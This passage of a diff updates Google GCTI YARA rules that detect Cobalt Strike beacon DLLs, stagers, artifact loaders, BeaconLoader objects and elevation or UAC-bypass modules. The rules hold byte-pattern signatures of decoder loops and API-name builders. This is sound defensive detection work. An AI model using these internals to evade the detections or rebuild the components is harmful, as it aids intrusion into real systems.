?4 31 ?? 39 ?? 74 ?2 eb e9 5? 48 83 ec ?8 ff e? e8 cd ff ff ff} - $stub63 = {fc e8 ?? ?? ?? ?? [1-32] eb 32 5d 8b ?? ?? 48 83 c5 ?4 8b ?? ?? 31 ?? 48 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 48 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e7 5? 48 83 ec ?8 ff e? e8 c9 ff ff ff} - - condition: - any of them -} -rule GCTI_Cobaltstrike_Resources_Dnsstager_Bin_V1_47_Through_V4_X -{ - meta: - description = "Cobalt Strike's resources/dnsstager.bin signature for versions 1.47 to 4.x" - author = "gssincla@google.com" - id = "e1b0e368-9bcf-5d9b-b2b3-8414742f213e" - date = "2022-11-18" - modified = "2022-11-19" - reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Dnsstager_Bin_v1_47_through_v4_x.yara#L17-L78" - license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "10f946b88486b690305b87c14c244d7bc741015c3fef1c4625fa7f64917897f1" - logic_hash = "d4500d8a83a821e1df9e808b17a87c1207d78ea0e03886544a632176fe93ccd0" - score = 75 - quality = 83 - tags = "" - strings: $apiLocator = { 31 ?? @@ -79343,2504 +79152,2567 @@ rule GCTI_Cobaltstrike_Resources_Dnsstager_Bin_V1_47_Through_V4_X 5? 5? } - $dnsapi = { 68 64 6E 73 61 } + $downloaderLoop = { + B? 00 2F 00 00 + 39 ?? + 74 ?? + 31 ?? + ( E9 | EB ) + } condition: - $apiLocator and $dnsapi + $apiLocator and $downloaderLoop } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_44 +rule GCTI_Cobaltstrike_Resources_Artifact64_V1_49_V2_X_V3_0_V3_3_Thru_V3_14 { meta: - description = "Cobalt Strike's resources/beacon.dll Version 1.44" + description = "Cobalt Strike's resources/artifact64{.dll,.exe,big.exe,big.dll,bigsvc.exe,big.x64.dll} and resources/rtifactuac(alt)64.dll signature for versions v1.49, v2.x, v3.0, and v3.3 through v3.14" author = "gssincla@google.com" - id = "935ee27f-ce1b-5491-b4a3-cb78f199ab1b" + id = "67902782-500e-5a89-8b2a-59ee21bcba3e" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L17-L49" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L17-L54" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "75102e8041c58768477f5f982500da7e03498643b6ece86194f4b3396215f9c2" - logic_hash = "ebed8b6dc0b929164b1aa25b491b9d2fbb61d380a8b1268df7d424afe90f613d" + hash = "9ec57d306764517b5956b49d34a3a87d4a6b26a2bb3d0fdb993d055e0cc9920d" + logic_hash = "289950e89fc743ff4a1b7dcb91c561c7d829cfe3ade1c2f1a09f2e9701cce461" score = 75 quality = 85 tags = "" strings: - $version_sig = { 0F B7 D2 4A 53 8B D9 83 FA 04 77 36 FF 24 } - $decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 } + $a = { 8B [2] 48 98 48 [2] 48 [3] 8B [2] 48 98 48 [3] 44 [3] 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 48 98 48 [3] 0F B6 00 44 [2] 88 } + + condition: + $a +} +rule GCTI_Cobaltstrike_Resources_Artifact64_V3_1_V3_2_V3_14_And_V4_0 +{ + meta: + description = "Cobalt Strike's resources/artifact64{svcbig.exe,.dll,big.dll,svc.exe} and resources/artifactuac(big)64.dll signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x" + author = "gssincla@google.com" + id = "c9e9b8e0-16fe-5abc-b1fe-0e3e586f6db6" + date = "2022-11-18" + modified = "2022-11-19" + reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L56-L84" + license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" + hash = "2e7a39bd6ac270f8f548855b97c4cef2c2ce7f54c54dd4d1aa0efabeecf3ba90" + logic_hash = "e5af04baa1d18d5a2a2c005b40bf93fe6a7b2d7116dfcf3c5b3fa36657448eb9" + score = 75 + quality = 85 + tags = "" + + strings: + $decoderFunction = { 31 ?? EB 0F 41 [2] 03 47 [3] 44 [3] 48 [2] 39 ?? 41 [2] 7C EA 4C [6] E9 } + + condition: + $decoderFunction +} +rule GCTI_Cobaltstrike_Resources_Artifact64_V3_14_To_V4_X +{ + meta: + description = "Cobalt Strike's resources/artifact64{.exe,.dll,svc.exe,svcbig.exe,big.exe,big.dll,.x64.dll,big.x64.dll} and resource/artifactuac(alt)64.exe signature for versions v3.14 through v4.x" + author = "gssincla@google.com" + id = "1c7731d3-429b-57aa-9c17-8de7d0841b1e" + date = "2022-11-18" + modified = "2022-11-19" + reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L86-L128" + license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" + hash = "decfcca0018f2cec4a200ea057c804bb357300a67c6393b097d52881527b1c44" + logic_hash = "af8ba6ba62bf1179510b0940e60f893f61b3ba10c81001dd90fe4c3521e56a37" + score = 75 + quality = 85 + tags = "" + + strings: + $fmtBuilder = { + 41 ?? 5C 00 00 00 + C7 [3] 5C 00 00 00 + C7 [3] 65 00 00 00 + C7 [3] 70 00 00 00 + C7 [3] 69 00 00 00 + C7 [3] 70 00 00 00 + C7 [3] 5C 00 00 00 + C7 [3] 2E 00 00 00 + 89 [3] + 48 [6] + E8 + } + $fmtString = "%c%c%c%c%c%c%c%c%cMSSE-%d-server" + + condition: + all of them +} +rule GCTI_Cobaltstrike_Sleeve_Beaconloader_HA_X86_O_V4_3_V4_4_V4_5_And_V4_6 +{ + meta: + description = "Cobalt Strike's sleeve/BeaconLoader.HA.x86.o (HeapAlloc) Versions 4.3 through at least 4.6" + author = "gssincla@google.com" + id = "0ee3fa6f-367c-596f-a3bc-3bcfa61b97aa" + date = "2022-11-18" + modified = "2022-11-19" + reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L17-L59" + license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" + hash = "8e4a1862aa3693f0e9011ade23ad3ba036c76ae8ccfb6585dc19ceb101507dcd" + logic_hash = "d02257bc556d0b1675997ab6af1b28cf5f498855d6254e3c1cd7eb4a0c4d2715" + score = 75 + quality = 85 + tags = "" + + strings: + $core_sig = { + C6 45 F0 48 + C6 45 F1 65 + C6 45 F2 61 + C6 45 F3 70 + C6 45 F4 41 + C6 45 F5 6C + C6 45 F6 6C + C6 45 F7 6F + C6 45 F8 63 + C6 45 F9 00 + } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_45 +rule GCTI_Cobaltstrike_Sleeve_Beaconloader_MVF_X86_O_V4_3_V4_4_V4_5_And_V4_6 { meta: - description = "Cobalt Strike's resources/beacon.dll Version 1.45" + description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x86.o (MapViewOfFile) Versions 4.3 through at least 4.6" author = "gssincla@google.com" - id = "04d4d0ee-f1ee-5888-8108-ca55243c770a" + id = "3f7c0553-989e-53e7-87a9-3fa1c47f4b62" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L51-L84" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L61-L111" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "1a92b2024320f581232f2ba1e9a11bef082d5e9723429b3e4febb149458d1bb1" - logic_hash = "b1472907e0fe0cb26219c268f23483681cc076dab96c1b0f2f0ee472ad319b4f" + hash = "cded3791caffbb921e2afa2de4c04546067c3148c187780066e8757e67841b44" + logic_hash = "dd831fb01a403213c06e3d07daf3da5f56655619a686149f9d4beec2331fe6ca" score = 75 quality = 85 tags = "" strings: - $version_sig = { 51 0F B7 D2 4A 53 56 83 FA 08 77 6B FF 24 } - $decode = { B1 ?? 30 88 [4] 40 3D 28 01 00 00 7C F2 } + $core_sig = { + C6 45 EC 4D + C6 45 ED 61 + C6 45 EE 70 + C6 45 EF 56 + C6 45 F0 69 + C6 45 F1 65 + C6 45 F2 77 + C6 45 F3 4F + C6 45 F4 66 + C6 45 F5 46 + C6 45 F6 69 + C6 45 F7 6C + C6 45 F8 65 + C6 45 F9 00 + } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_46 +rule GCTI_Cobaltstrike_Sleeve_Beaconloader_VA_X86_O_V4_3_V4_4_V4_5_And_V4_6 { meta: - description = "Cobalt Strike's resources/beacon.dll Version 1.46" + description = "Cobalt Strike's sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6" author = "gssincla@google.com" - id = "79715042-1963-5e48-8b64-7d915da58d84" + id = "5f89c4be-f4c5-54d3-b923-d125de53902f" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L86-L115" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L114-L194" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "44e34f4024878024d4804246f57a2b819020c88ba7de160415be38cd6b5e2f76" - logic_hash = "1a5c63c8b5527c0442830a73ded8458cf82a9d8ecb9b31e9a02c10b27ed6195e" + hash = "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1" + logic_hash = "19b2297986bd72204fb117560cddcfb512f5db6c157d9730b5802bf9f968eef4" score = 75 quality = 85 tags = "" strings: - $version_sig = { 8B F2 83 F9 0C 0F 87 8E 00 00 00 FF 24 } - $decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 } + $core_sig = { + C6 45 B0 56 + C6 45 B1 69 + C6 45 B2 72 + C6 45 B3 74 + C6 45 B4 75 + C6 45 B5 61 + C6 45 B6 6C + C6 45 B7 41 + C6 45 B8 6C + C6 45 B9 6C + C6 45 BA 6F + C6 45 BB 63 + C6 45 BC 00 + } + $deobfuscator = { + 8B 4D FC + 83 C1 01 + 89 4D FC + 8B 55 FC + 3B 55 0C + 73 19 + 0F B6 45 10 + 8B 4D 08 + 03 4D FC + 0F BE 11 + 33 D0 + 8B 45 08 + 03 45 FC + 88 10 + EB D6 + } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_47 +rule GCTI_Cobaltstrike_Sleeve_Beaconloader_X86_O_V4_3_V4_4_V4_5_And_V4_6 { meta: - description = "Cobalt Strike's resources/beacon.dll Version 1.47" + description = "Cobalt Strike's sleeve/BeaconLoader.x86.o Versions 4.3 through at least 4.6" author = "gssincla@google.com" - id = "ac2249a9-210c-581f-8dd1-7619356dca7d" + id = "32a47966-f3bb-52c3-a977-82a1b09ddf2c" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L117-L144" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L196-L276" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "8ff6dc80581804391183303bb39fca2a5aba5fe13d81886ab21dbd183d536c8d" - logic_hash = "8c463d3122f3f79ff5d9b88e3d4f5ed14e6c581edfdfafba8a0c596c494ac1b1" + hash = "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1" + logic_hash = "cab5441ce7d919101fc04aa469e77b71a4c444443e44c752f18cbbc5b17ed5c2" score = 75 quality = 85 tags = "" strings: - $version_sig = { 83 F8 12 77 10 FF 24 } - $decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 } + $core_sig = { + C6 45 B0 56 + C6 45 B1 69 + C6 45 B2 72 + C6 45 B3 74 + C6 45 B4 75 + C6 45 B5 61 + C6 45 B6 6C + C6 45 B7 41 + C6 45 B8 6C + C6 45 B9 6C + C6 45 BA 6F + C6 45 BB 63 + C6 45 BC 00 + } + $deobfuscator = { + 8B 4D FC + 83 C1 01 + 89 4D FC + 8B 55 FC + 3B 55 0C + 73 19 + 0F B6 45 10 + 8B 4D 08 + 03 4D FC + 0F BE 11 + 33 D0 + 8B 45 08 + 03 45 FC + 88 10 + EB D6 + } condition: - all of them + $core_sig and not $deobfuscator } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_48 +rule GCTI_Cobaltstrike_Sleeve_Beaconloader_HA_X64_O_V4_3_V4_4_V4_5_And_V4_6 { meta: - description = "Cobalt Strike's resources/beacon.dll Version 1.48" + description = "Cobalt Strike's sleeve/BeaconLoader.HA.x64.o (HeapAlloc) Versions 4.3 through at least 4.6" author = "gssincla@google.com" - id = "dd15099f-ad19-58df-9ed4-ce66d7ee8540" + id = "9b16ff13-2d8e-51dc-9f99-6c45eff76feb" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L146-L178" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L281-L323" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "dd4e445572cd5e32d7e9cc121e8de337e6f19ff07547e3f2c6b7fce7eafd15e4" - logic_hash = "3f789eaf334c9bb3236d2834f38156aa92b22a5b674450977086378d195dd216" + hash = "d64f10d5a486f0f2215774e8ab56087f32bef19ac666e96c5627c70d345a354d" + logic_hash = "b712a0c218e473f6c64fdead22b291d7fb0bac8ba614adcf1ba6431e854a5e65" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 57 8B F1 8B DA 83 F8 17 77 12 FF 24 } - $decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 } + $core_sig = { + C6 44 24 38 48 + C6 44 24 39 65 + C6 44 24 3A 61 + C6 44 24 3B 70 + C6 44 24 3C 41 + C6 44 24 3D 6C + C6 44 24 3E 6C + C6 44 24 3F 6F + C6 44 24 40 63 + C6 44 24 41 00 + } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_49 +rule GCTI_Cobaltstrike_Sleeve_Beaconloader_MVF_X64_O_V4_3_V4_4_V4_5_And_V4_6 { meta: - description = "Cobalt Strike's resources/beacon.dll Version 1.49" + description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x64.o (MapViewOfFile) Versions 4.3 through at least 4.6" author = "gssincla@google.com" - id = "871e28c9-b580-5a32-8529-2290ded1a1b6" + id = "38e063db-3d76-5a94-812a-945fcf46a232" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L180-L211" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L326-L374" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "52b4bd87e21ee0cbaaa0fc007fd3f894c5fc2c4bae5cbc2a37188de3c2c465fe" - logic_hash = "935232d5ddccdc0401b4d911cdc73a48305347b495219c8c893615fe918f32f1" + hash = "9d5b6ccd0d468da389657309b2dc325851720390f9a5f3d3187aff7d2cd36594" + logic_hash = "6224000342d87041fd3336656897479c644e94ea36fc061c27fcd64233047c2c" score = 75 quality = 85 tags = "" strings: - $version_sig = { 48 56 83 F8 1E 0F 87 23 01 00 00 FF 24 } - $decoder = { B1 ?? 90 30 88 [4] 40 3D A8 01 00 00 7C F2 } + $core_sig = { + C6 44 24 58 4D + C6 44 24 59 61 + C6 44 24 5A 70 + C6 44 24 5B 56 + C6 44 24 5C 69 + C6 44 24 5D 65 + C6 44 24 5E 77 + C6 44 24 5F 4F + C6 44 24 60 66 + C6 44 24 61 46 + C6 44 24 62 69 + C6 44 24 63 6C + C6 44 24 64 65 + } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_0_49 +rule GCTI_Cobaltstrike_Sleeve_Beaconloader_VA_X64_O_V4_3_V4_4_V4_5_And_V4_6 { meta: - description = "Cobalt Strike's resources/beacon.dll Version 2.0.49" + description = "Cobalt Strike's sleeve/BeaconLoader.VA.x64.o (VirtualAlloc) Versions 4.3 through at least 4.6" author = "gssincla@google.com" - id = "087c584a-5ceb-536a-8842-53fbd668df54" + id = "8ca04f82-a8a8-5162-8b0c-8a7bce678a85" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L213-L243" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L376-L456" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "ed08c1a21906e313f619adaa0a6e5eb8120cddd17d0084a30ada306f2aca3a4e" - logic_hash = "3616579dabcfd0ba413d17b4fbd0da5313b9beca94f7bf8e41f05d6679b4a215" + hash = "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9" + logic_hash = "17402e952d71d02274a9b2814512b28a402e8d11a6c2a2375844fe24719f87a6" score = 75 quality = 85 tags = "" strings: - $version_sig = { 83 F8 22 0F 87 96 01 00 00 FF 24 } - $decoder = { B1 ?? EB 03 8D 49 00 30 88 [4] 40 3D 30 05 00 00 72 F2 } + $core_sig = { + C6 44 24 48 56 + C6 44 24 49 69 + C6 44 24 4A 72 + C6 44 24 4B 74 + C6 44 24 4C 75 + C6 44 24 4D 61 + C6 44 24 4E 6C + C6 44 24 4F 41 + C6 44 24 50 6C + C6 44 24 51 6C + C6 44 24 52 6F + C6 44 24 53 63 + C6 44 24 54 00 + } + $deobfuscator = { + 8B 04 24 + FF C0 + 89 04 24 + 8B 44 24 28 + 39 04 24 + 73 20 + 8B 04 24 + 0F B6 4C 24 30 + 48 8B 54 24 20 + 0F BE 04 02 + 33 C1 + 8B 0C 24 + 48 8B 54 24 20 + 88 04 0A + } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_1_And_V2_2 +rule GCTI_Cobaltstrike_Sleeve_Beaconloader_X64_O_V4_3_V4_4_V4_5_And_V4_6 { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 2.1 and 2.2" + description = "Cobalt Strike's sleeve/BeaconLoader.x64.o (Base) Versions 4.3 through at least 4.6" author = "gssincla@google.com" - id = "384fb247-aae7-52e1-a45d-6bda0f80a04e" + id = "07f751e4-f001-5b95-b229-31fbaa867cea" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L245-L276" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L458-L555" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "ae7a1d12e98b8c9090abe19bcaddbde8db7b119c73f7b40e76cdebb2610afdc2" - logic_hash = "eee3702d6fde08b8e9f5533f903fa33fb3da808a3b76ca43e4d5029f9ce91ad0" + hash = "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9" + logic_hash = "50d9da466e2c074b3fb634203c8840d45da8f8e3094790d7c4354a5703b583ef" score = 75 quality = 85 tags = "" strings: - $version_sig = { 49 56 57 83 F9 24 0F 87 8A 01 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } + $core_sig = { + 33 C0 + 83 F8 01 + 74 63 + 48 8B 44 24 20 + 0F B7 00 + 3D 4D 5A 00 00 + 75 45 + 48 8B 44 24 20 + 48 63 40 3C + 48 89 44 24 28 + 48 83 7C 24 28 40 + 72 2F + 48 81 7C 24 28 00 04 00 00 + 73 24 + 48 8B 44 24 20 + 48 8B 4C 24 28 + 48 03 C8 + 48 8B C1 + 48 89 44 24 28 + 48 8B 44 24 28 + 81 38 50 45 00 00 + 75 02 + } + $deobfuscator = { + 8B 04 24 + FF C0 + 89 04 24 + 8B 44 24 28 + 39 04 24 + 73 20 + 8B 04 24 + 0F B6 4C 24 30 + 48 8B 54 24 20 + 0F BE 04 02 + 33 C1 + 8B 0C 24 + 48 8B 54 24 20 + 88 04 0A + } condition: - all of them + $core_sig and not $deobfuscator } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_3 +rule GCTI_Cobaltstrike_Resources_Elevate_Dll_V3_0_To_V3_14_And_Sleeve_Elevate_Dll_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 2.3" + description = "Cobalt Strike's resources/elevate.dll signature for v3.0 to v3.14 and sleeve/elevate.dll for v4.x" author = "gssincla@google.com" - id = "aed092f1-fbb1-5efe-be8d-fb7c5aba1cde" + id = "170f62a2-ba4f-5be8-9ec5-402eb7bbde4e" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L278-L308" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Elevate_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_Dll_v4_x.yara#L17-L68" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "00dd982cb9b37f6effb1a5a057b6571e533aac5e9e9ee39a399bb3637775ff83" - logic_hash = "286d7ffa83634b82160788abaf1c5b319a09c4a1243af2401799f327be76ad75" + hash = "6deeb2cafe9eeefe5fc5077e63cc08310f895e9d5d492c88c4e567323077aa2f" + logic_hash = "766a0a390ed8cefe43d82a054a9b2cfec7eced75e0d7ee10231215043577b75e" score = 75 quality = 85 tags = "" strings: - $version_sig = { 49 56 57 83 F9 26 0F 87 A9 01 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } + $wnd_proc = { + 6A 00 + 6A 28 + 68 00 01 00 00 + 5? + C7 [5] 01 00 00 00 + FF ?? + 6A 00 + 6A 27 + 68 00 01 00 00 + 5? + FF ?? + 6A 00 + 6A 00 + 68 01 02 00 00 + 5? + FF ?? + } condition: - all of them + $wnd_proc } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_4 +rule GCTI_Cobaltstrike_Resources_Bypassuac_Dll_V1_49_To_V3_14_And_Sleeve_Bypassuac_Dll_V4_0_To_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 2.4" + description = "Cobalt Strike's resources/bypassuac(-x86).dll from v1.49 to v3.14 (32-bit version) and sleeve/bypassuac.dll from v4.0 to at least v4.4" author = "gssincla@google.com" - id = "347a6b06-84a8-53ff-80a1-05fa1a48a412" + id = "614046b5-cf81-56a5-8824-b3a7e14a8ed5" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-19" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L310-L340" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuac_Dll_v1_49_to_v3_14_and_Sleeve_Bypassuac_Dll_v4_0_to_v4_x.yara#L17-L94" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "78c6f3f2b80e6140c4038e9c2bcd523a1b205d27187e37dc039ede4cf560beed" - logic_hash = "087ec6f585e90b84c00e746beb37cb8365cb7b4d07ebd0c48e3ba3d5df94dba2" + hash = "91d12e1d09a642feedee5da966e1c15a2c5aea90c79ac796e267053e466df365" + logic_hash = "7d59c0286f1936e386519a919472d01581b68a8167c89bd3cd3108d45251119a" score = 75 quality = 85 tags = "" strings: - $version_sig = { 4A 56 57 83 FA 2F 0F 87 F9 01 00 00 FF 24 } - $decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 } + $deleteFileCOM = { + A1 [4] + 6A 00 + 8B ?? + 5? + 5? + FF ?? 48 + 85 ?? + 75 ?? + A1 [4] + 5? + 8B ?? + FF ?? 54 + } + $copyFileCOM = { + A1 [4] + 6A 00 + FF [2] + 8B ?? + FF [5] + FF [5] + 5? + FF ?? 40 + 85 ?? + [2 - 6] + A1 [4] + 5? + 8B ?? + FF ?? 54 + } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_5 +rule GCTI_Cobaltstrike_Resources__Template_Vbs_V3_3_To_V4_X { meta: - description = "Cobalt Strike's resources/beacon.dll Versions 2.5" + description = "Cobalt Strike's resources/btemplate.vbs signature for versions v3.3 to v4.x" author = "gssincla@google.com" - id = "a89f9239-099c-5b97-b1df-e8ce2b95ea52" + id = "62f35d02-1e4e-5651-b575-888ce06b8bdd" date = "2022-11-18" - modified = "2023-12-04" + modified = "2022-11-22" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L342-L372" + source_url = 